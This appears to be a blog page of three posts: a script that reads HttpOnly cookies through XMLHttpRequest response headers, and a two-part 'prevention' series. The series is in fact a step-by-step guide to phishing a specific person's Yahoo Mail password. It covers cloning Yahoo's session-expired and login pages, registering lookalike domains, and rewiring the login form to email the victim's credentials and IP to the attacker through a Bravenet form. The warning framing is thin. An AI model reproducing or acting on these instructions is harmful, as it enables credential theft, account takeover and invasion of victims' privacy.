Learn about HTTP-only Cookies

       If you are a webmaster and you run any sort of website that uses cookies for your users to register you will want to read this. Read this and stay tuned for my next posts if you want to learn how to make your website as safe as possible.
       XSS vulnerabilities are often used by the hackers to steal the cookies of the legitimate users. A classic method is by accessing the variable "document.cookies" using some javascripts.
       Starting with Internet Explorer 6 sp1, Microsoft has implemented a method that prevents this kind of attack. This method uses the parameter "HttpOnly" to set a cookie in the headers just like this :

"Set-Cookie: NumeCookie:value; expires=Wednesday, 10-Oct-07 23:12:40 GMT; HttpOnly"

       The key work "HttpOnly" instructs the browser of the user to restrict the access of the cookie (document.cookie) with the client-side scripts.
I will show you a method with a script javascript that can access that hidden cookie by transmitting raw requests to the web page and reading the headers.
The following code is a PHP script that shows the difference between the 2 types of cookies and how can the HttpOnly cookies be read.

       =====================
<?php
// we set a normal cookie that can be found in "document.cookie"
header("Set-Cookie: CookieNormal=valueA; expires=Wednesday, 10-Oct-08 23:12:40 GMT");

// we set a hidden cookie
header("Set-Cookie: CookieHidden=valueB; expires=Wednesday, 10-Oct-08 23:12:40 GMT; HttpOnly");
?>

<script language="Javascript" type="text/javascript">


// function that extracts the hidden cookie from headers
function unHideCookie()
{
var xhr=new XMLHttpRequest(); // creating the object
xhr.open("HEAD",document.location,true); // we set a HEAD request to the same page
xhr.send(null); //transmiting the request
xhr.onreadystatechange=function()
{
if(xhr.readyState==4)
{
if(xhr.status==200) // if we get the correct answer
{
var hidden="";
var headers=xhr.getAllResponseHeaders().split(" "); // we read all the headers and save them on each element of the i variable
for(i=0;i0) // when we find a hidden cookie
{
var cookie=headers[i].substring(headers[i].indexOf(" ")+1,headers[i].indexOf(";")+1); // extracting "name=value;"
hidden=hidden+cookie+" "; // adding the extracted cookie
}
}
//using the saved cookies in the hidden variable
alert("Hidden Cookie: "+hidden);
}
}
}
}

alert("document.cookie: "+document.cookie); // displaying visible cookies
unHideCookie(); // displaying Hidden cookies

</script>

       =====================

       The Http-only method used to hide the cookies from the client-side scripts is used for the moment just by Internet Explorer and Mozilla but it will be implemented on other browsers as well in the near future.

Open full post here

Learn to prevent your email password being hacked (part 2)

      We need to modify the code of the 2 pages from the first part of this post. For the first page I'd recommend you delete all of the scripts. Here is the code without the scripts in it. Now we need to change the bottom left link that says Re-login to Yahoo! Mail. For that look in your source code and locate the line :

<a href="http://mail.yahoo.com/?.done=http%3a%2f%2fus.f396.mail.yahoo.com%2fym%2flogin" target=_top>Re-login to Yahoo! Mail</a>

      All you need to do is switch the address to the URL of your second page. For that you will need to think ahead and establish what will it be on your website. So the above line should look something like that:

<a href="http://login_page.yourdomain.com" target=_top>Re-login to Yahoo! Mail</a>

      That's all there is to do about the first page so let's move on to the second page (login page) where there is much to cover.
Locate the line:

<p class="yreglgsb"><input type="submit" name=".save" value="Sign In"></p>
This is the code for the Sign In button. We need to change this to redirect the person i want his/her email password cracked to my pictures page. It should look like this:

<p class="yreglgsb"><input type="button" name=".save" value="Sign In" onclick="window.location.href='url'" </p>
where the url has to be the one from your pictures page.

Locate the line:

<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">.
This line marks what will happen to whatever the user inputs in the two fields on the right screen (if you look at the page in a web browser), the Yahoo! ID and the password fields. For now, when someone enters something in those two fields and click on the Sign In button, it tells yahoo to search database and authenticate them. We need to change that so that it will send to our email whatever the user inputs there. We have 2 possibilities to do that. First would be to use a website that offers free email forms and second choice would be to get help from a php file that will trigger sending the email to your email address.

      In the first case, if you want to use a website that offer free email forms, i would recommend that you will take a look on the www.bravenet.com website, for it is a great website with many resources that will help you understand better html and also offers free website hosting. There is a little disadvantage in using this method. If you apply for a free membership whenever you will use their service it will first take you to a confirmation page, which is annoying and will ruin every one's plan on finding someone else email password using the method I'm presenting. I have searched for more then 2 hours on the Internet a website that will host free email forms without demanding something in exchange (like links, banners etc). But if you consider updating your account with them, you will be able to use their service without having to place a link to your website right under the form, or a banner or something else that would ruin everything. If you are not that concerned about that, i will continue on detailing what exactly needs to be done using bravenet.com service. I have registered for a free account and i applied for an email form (contact form), and then i went for the "get the html code" for it. Now, if you take a look at the first 3 lines from the generated code


<form method="post" enctype="multipart/form-data" action="http://pub19.bravenet.com/emailfwd/senddata.php">
<input type="hidden" name="usernum" value="xxxxxxxxxx">
<input type="hidden" name="cpv" value="2">
xxxxxxxxxx has to be your id when you registered with bravenet. its a 10 digits number and you will have your own when you register.

you will see the first line looks a little bit like the code line we talked about earlier, the one that submits the yahoo Id and the password to yahoo for authentication. So if you go back to the source code of the second page (the login page) and once more locate the line


<form method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form">


you will see they have the <form> tag in common. You need to replace this line with the 3 lines generated by bravenet for the email form and you are good to go. This is a reminder: after you load the new login page in a web browser and you will input the yahoo id and the password, right after you click the Sign In button, it will redirect you on bravenet website for a page that will ask you to confirm the data that will be send to your email. This email service from bravenet is very nice, and will also provide you some other information like the ip of the computer, which is a great to know where did the person you wanted his/her email revealed to you has fallen into the trap (if i may say so). So that confirmation page will pretty much ruin every one's plan and the person that will input their id and password will be redirected to that page, and they will find it very fishy. So, once again if you want the best of it, you might consider upgrading your account and then you will have the option of not being redirected to that annoying page. In case none of them works out for you, you can try get help from php to have the same process done, but this requires you to verify that your web host allows php. I will talk about including your php files on your website and test them on your local machine in my next post.

      Now, to summarize it all, you should have a website that contains:
main page= session_expires page with the re-login to Yahoo! Mail link changed to your second page
second page = login page with the Sign In button that will direct you to the pictures page
third page = pictures page
They all should have different URL's.

      All there is left to do would be the compose an email that will have the link to the main page attached. When someone will want to see your new pictures it will first access the main page ( the one with the session expires), that person will think it was somehow disconnected from yahoo and will try to login again using the Re-login to Yahoo! Mail link. The person will be directed to the login page, will enter the yahoo id and password and when he/she will click on the Sign In button an email with the inputted id and password will be send to your email address and in the same time it will load the pictures page.

      This is a method that can be countered very easily. And all the people out there reading my blog should know how to do this. The whole post brings me to this part where i will tell people that anyone can have his/her email password jacked with a simple method like the one i presented. You never know when someone will want to do this, and it's best to be aware of this kind of methods so you will know how to keep your email safe and your privacy safer.
      Yahoo should never take you on that session expired page unless you have been inactive for more then 24 hours, or if your cookies are not enabled on your computer, or if you access multiple yahoo accounts at the same time.
      Most people do not check out always the link bar located on the upper part of your browser.Here is an example. The eye is fixed on the contents of the web page and we often do not look up there to see the links. Emails are not always safe so you should definitely always check out the links whenever you open an email that has a link attached to it. I know that when you receive an email from a person you know and has a link attached to it, you tend to trust that person and open the link without doubts, but you may never know for sure what is behind it.
In case your session from yahoo somehow expires this is the link you should see on your browser after you click on the re-login to Yahoo! Mail link. I have talked mostly about yahoo emails, but this applies to all the email hosts out there.

            So stay on guard, and keep your emails just for yourself !

Link to the 1st part of this post

Open full post here

Learn to prevent your email password being hacked (part 1)

      If i were to get a dime for every time i have been asked if it possible to crack an email account, i would be richer then Bill Gates, i would buy Bill Gates himself, his family and all of his programmers team working on the famous Windows operating system.(evil laugh) Anyway i would like to spend some time creating this post so everyone who will read it will know how to counter his/her email being hacked. We all have at least one email address somewhere out there on the Internet. And since people like to chat using the different chat applications offered to us, we gotta have 1 email account with them in order to access the chat (Yahoo, Msn, Aol, ICQ etc.). Me, personally, i have been mostly asked about how can i find the password of a specific yahoo account, so i will concentrate this post on informing you how exactly that could be possible, in order to be informed on how you can prevent it. Let's start from the beginning and i will tell you a little bit about how it all started. I was younger of course, and one day i really wanted (as most people do) to crack the yahoo account of a person that was close to me. -Being young implies being curios and sometimes stupid- . I have searched all Internet for some clues or ideas on how to do that. I have found nothing at all, so i started thinking on myself. I was well aware of the "lost password" section on yahoo, about the secret question, about inputting the right data (birthday, zip code, country), but this method is all about knowing the person in details, and even that it is not enough since that person could have input something different from the truth, meaning it could have been selected for example another country then the true country, since there is no problem with doing that when you create a new yahoo account.So its all about guessing. Of course, for me the guessing didn't work, so i decided i need something else. I spend a few weeks to elaborate a method, which worked just fine for me and i will explain it a little later on.
      I will take a little time to help those who want to crack someone's email password from having their emails cracked while trying desperately to find that damn password they are so willing to do anything to find. There are some files or information that are spread all over the Internet that are "intended" to help you crack an email password. In fact someone out there is doing to you what you wanna do to someone else.



      It might look familiar in case you have seen something like that:


HOW TO HACK AN EMAIL ACCOUNT !!!!
    Step 1: login to your yahoo account(or any other email hosting) compose a new email which you will send to : idpsw_bot123@yahoo.com
    Step 2: here is what you write in the message: at the subject: "usrpsw" + username of the person you want to find the email password,then ,in quotes you have to type your username! (all this goes to subject, very important!)]
    Step 3: in the body of the message : " id;psw;id_forgot;psw_forgot;usr:name1 ! my_pswis:password;my_usr:name2;yahoobotservice " where name1 has to be name of the user you want to find the email password, instead of password you have to type the password from your account(IT HAS TO BE REAL FOR AUTHENTICATION), instead of name2 it has to be your username(also real for authentication)
    Step 4:Now you wait around 4-5 minutes and you will get an email with the desired password




      THIS IS NOT RIGHT! you will never get any emails back, and if you look closely the address it is send to is nothing like what yahoo should have. Even if it would be, it would never require to type your own password and username. This is a fake which will send your username and password to someone that will probably use your email account for spamming, or will ever sell your email address to advertisers for money.
      I doubt this is the only fake on the Internet so watch out for anything that requires to input your password. No method to crack an email password will ever require you to input your own password.



           Here is my solution
      The method i am going to present is quite simple and it requires a minimum amount of html knowledge and it is based on the people's naivety. If you read between the lines till now, start paying attention, because you will know what to do if you face a problem like that and you will be able to prevent ANYONE (even closest person to you) from finding your email password. I will present this method with an example so you should be able to follow me easily. Let's say i want to find the password from example@yahoo.com.

    Step 1: I know for sure that the person i want he's/she's email cracked is registered on a specific website, or i know for sure that he/she has movies as one hobby or if that person knows me, i could go even further and take advantage of that. I will compose an email in which i will tell that person to check out my new pictures which i will carefully place them NOT on an archive attachment, but on a website which i will have to create on my own, where i will post my pictures and so the email will have instead of an attachment, a link to my website. That leads us to:

    Step 2: We need to find a provider that can host our website where i will want to put my pictures. I wont go much further into details at this step for there are plenty of websites that offer free web hosting. The bad part is that most of the websites that offer free hosting for our sites will always place their pop-ups for advertisement as long as you apply for the free package. The good part is that most people use some sort of pop-up blocker. Feel free to search websites that offer free hosting, and try as best as possible to avoid registering with domain names that will expose your true identity (Ex. yourname@yourdomainname.com). You might want to try different combinations that include the word yahoo in it, anything that would look like yahoo as possible. (some ex. yahoo_bot123, yahoo_checker123) After you will be done registering for one domain, you will have to create the website. It will have to consist of 2 parts, the main page and another page that will have the pictures posted on.
    At this point i assume you will know how to create a website page that will contain a number of pictures. If not you might wanna consider downloading a free trial of Macromedia Dreamweaver. You will find it on the Adobe website at the section Downloads/Trial downloads. You have to get an account to download it but that wont be much of a problem. This tool allows you to create a website page without knowing much html coding. You have the option to enter the design mode and you just have to drag/drop pictures, so it will be very easy. The main page needs some extra work though and it will consist of creating two web pages that looks as most similar as the expiring session and the login into email page from yahoo.

    Step 3: You need to duplicate 2 web pages that yahoo provides you whenever your session expires. First page will be a page that shows you that your session has expired mainly because two reasons.
  1.For your security, your Yahoo! Mail session expires a maximum of twenty-four hours after you have logged in. If you have chosen in your Yahoo! User Information (found be visiting "My Account" next to the Yahoo! Mail logo at the top of this page) to be prompted for a password more frequently than every day, your session will expire after the specified amount of time.
  2.If you do not accept the cookies set on login or your computer is not configured to accept cookies, your session will expire almost immediately. We use cookies (small pieces of site information) to assist us in user authentication and in saving configuration information. Cookies are required for Yahoo! Mail.

      Here you can see a picture of the web page that appears when your session expires. And here you can find the html source code for that specific page. If you copy/paste the code into your own website, it shouldn't work right away but if you take a closer look at the source code and at the very beginning of the code you delete the
<META HTTP-EQUIV=Refresh CONTENT="0; URL=/ym/login?nojs=1"> line and you will run the code on your website again, you will see the exact page as it is displayed in the picture. This page has an important role because it will make the person you want his/her email password to be revealed to you, actually believe that his/her yahoo session has expired and he/she needs to re-login again in order to access the email you will be sending with the link to your pictures website. After that you need to create in a similar way the content for the second page of the main part, which will have to look similar with the login page from yahoo. Here is a picture of that page, and here is the html source code for it.

Link to the second part of this post

Open full post here